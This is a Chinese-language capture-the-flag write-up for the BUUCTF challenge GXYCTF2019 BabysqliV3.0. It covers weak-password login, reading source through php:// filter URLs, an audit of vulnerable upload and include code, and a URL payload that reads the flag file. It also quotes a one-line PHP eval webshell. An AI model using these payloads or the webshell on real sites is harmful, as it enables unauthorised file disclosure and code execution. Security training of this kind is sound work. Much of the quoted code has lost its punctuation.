【Buuctf】[GXYCTF2019]BabysqliV3.0
题目首先尝试弱口令密码admin/123456,admin/password等当使用admin/password时成功登录跳转到查看源代码是简单的文件上传怀疑是文件上传漏洞或者使用bp抓包进行爆破也可以得到用户名admin与密码password。但是任务还没有结束当上传php文件或过大的文件/图片显示:you are too big (′▽〃)当上传一句话木马?php eval($_POST[cmd]); ?时页面显示:但没有显示上传成功换个思路从url入手发现URL传参,?fileupload想要获取相关的文件资源可能需要构造伪协议。在URL:http://632d3168-7fbe-44e7-868c-39bce6d7ea2d.node5.buuoj.cn:81/home.php后面拼接?filephp://filter/convert.base64-encode/resourcehome获取home.php页面显示?filephp://filter/convert.base64-encode/resourceupload获取upload.php补充伪协议相关知识1.基本概念伪协议是一种在URL中使用的特殊协议标识符它不是真正的网络传输协议如HTTP/HTTPS而是由浏览器或应用程序内部处理的特殊指令。2.基础格式php://filter/[过滤器]/resource文件路径或目标文件3.过滤器convert.base64-encode // Base64编码convert.base64-decode // Base64解码convert.iconv.utf-8.utf-16 // 字符编码转换string.rot13 // ROT13编码string.toupper // 转大写string.tolower // 转小写.可以通过工具https://ctf.bugku.com/tools进行base64解密获得的home.php:?php session_start(); echo meta http-equiv\Content-Type\ content\text/html; charsetutf-8\ / titleHome/title; error_reporting(0); if(isset($_SESSION[user])){ if(isset($_GET[file])){ if(preg_match(/.?f.?l.?a.?g.?/i, $_GET[file])){ die(hacker!); } else{ if(preg_match(/home$/i, $_GET[file]) or preg_match(/upload$/i, $_GET[file])){ $file $_GET[file]..php; } else{ $file $_GET[file]..fxxkyou!; } echo 当前引用的是 .$file; require $file; } } else{ die(no permission!); } } ?upload.php:meta http-equivContent-Type contenttext/html; charsetutf-8 / form action methodpost enctypemultipart/form-data 上传文件 input typefile namefile / input typesubmit namesubmit value上传 / /form ?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token; function __construct(){ $sandbox getcwd()./uploads/.md5($_SESSION[user])./; $ext .txt; mkdir($sandbox, 0777, true); if(isset($_GET[name]) and !preg_match(/data:\/\/ | filter:\/\/ | php:\/\/ | \./i, $_GET[name])){ $this-Filename $_GET[name]; } else{ $this-Filename $sandbox.$_SESSION[user].$ext; } $this-cmd echo brbrMaster, I want to study rizhan!brbr;; $this-token $_SESSION[user]; } function upload($file){ global $sandbox; global $ext; if(preg_match([^a-z0-9], $this-Filename)){ $this-cmd die(illegal filename!);; } else{ if($file[size] 1024){ $this-cmd die(you are too big (′▽〃));; } else{ $this-cmd move_uploaded_file(.$file[tmp_name]., . $this-Filename . );; } } } function __toString(){ global $sandbox; global $ext; // return $sandbox.$this-Filename.$ext; return $this-Filename; } function __destruct(){ if($this-token ! $_SESSION[user]){ $this-cmd die(check token falied!);; } eval($this-cmd); } } if(isset($_FILES[file])) { $uploader new Uploader(); $uploader-upload($_FILES[file]); if(file_get_contents($uploader)){ echo 下面是你上传的文件br.$uploader.br; echo file_get_contents($uploader); } } ?代码审计这是一个典型的文件上传结合文件包含的漏洞环境。1.文件包含逻辑漏洞可以通过?fileupload包含upload.php必须以 home 或 upload 结尾自动添加 .php 扩展名// 只要以home或upload结尾就加.php后缀包含 if(preg_match(/home$/i, $_GET[file]) or preg_match(/upload$/i, $_GET[file])){ $file $_GET[file]..php; } require $file;2.Uploader类的__construct方法漏洞 name参数可以指定任意路径但不能有.和伪协议if(isset($_GET[name]) and !preg_match(/data:\/\/ | filter:\/\/ | php:\/\/ | \./i, $_GET[name])){ $this-Filename $_GET[name]; // 完全可控 }3.upload方法的命令拼接漏洞 直接拼接字符串无任何过滤$this-cmd move_uploaded_file(.$file[tmp_name]., . $this-Filename . );;4.__destruct执行eval致命漏洞 可执行任意PHP代码function __destruct(){ if($this-token ! $_SESSION[user]){ $this-cmd die(check token falied!);; } eval($this-cmd); }5.find_get_content读取函数漏洞点对象当作文件路径使用file_get_contents() 参数为 Uploader 对象触发 __toString() 魔术方法__toString() 返回 $this-Filename用户可控导致任意文件读取漏洞。怀疑可能读取到相关flag文件if(isset($_FILES[file])) { $uploader new Uploader(); $uploader-upload($_FILES[file]); if(file_get_contents($uploader)){ echo 下面是你上传的文件br.$uploader.br; echo file_get_contents($uploader); } }构造payload:http://632d3168-7fbe-44e7-868c-39bce6d7ea2d.node5.buuoj.cn:81/home.php?fileuploadname/var/www/html/flag.php构造payload思路1.绕过 home.php 的文件包含过滤和不触发flag正则拦截/?f.*lag/i。fileupload2.利用 upload.php 反序列化 文件读取漏洞。name/var/www/html/flag.php默认/var/www/html/ 网站文件存放的标准绝对路径绕过 name 过滤规则/data:\/\/ | filter:\/\/ | php:\/\/ | \./i无伪协议、无恶意字符赋值给 $uploader-Filenamefile_get_contents($uploader) 触发 __toString() 直接读取 flag.php 内容3.漏洞触发流程home.php 包含 upload.php实例化 UploaderFilename 设为 flag.php 路径file_get_contents($uploader) → 调用 __toString() 返回路径直接读取并输出 flag.php 源码访问后可以上传一个符合要求的文件或者空文档最后使用Burpsuite进行抓包成功获得flag。思路总结1. 访问 /home.php?fileuploadname/var/www/html/flag.php2. home.php 包含 upload.php3. 上传文件触发 $uploader new Uploader()4. 由于传了 name 参数$this-Filename /var/www/html/flag.php5. 执行 $uploader-upload()设置 $this-cmd move_uploaded_file(...)6. 执行 file_get_contents($uploader)7. $uploader 对象被当作字符串触发 __toString()返回 $this-Filename8. file_get_contents(/var/www/html/flag.php) 读取 flag 文件内容9. 输出显示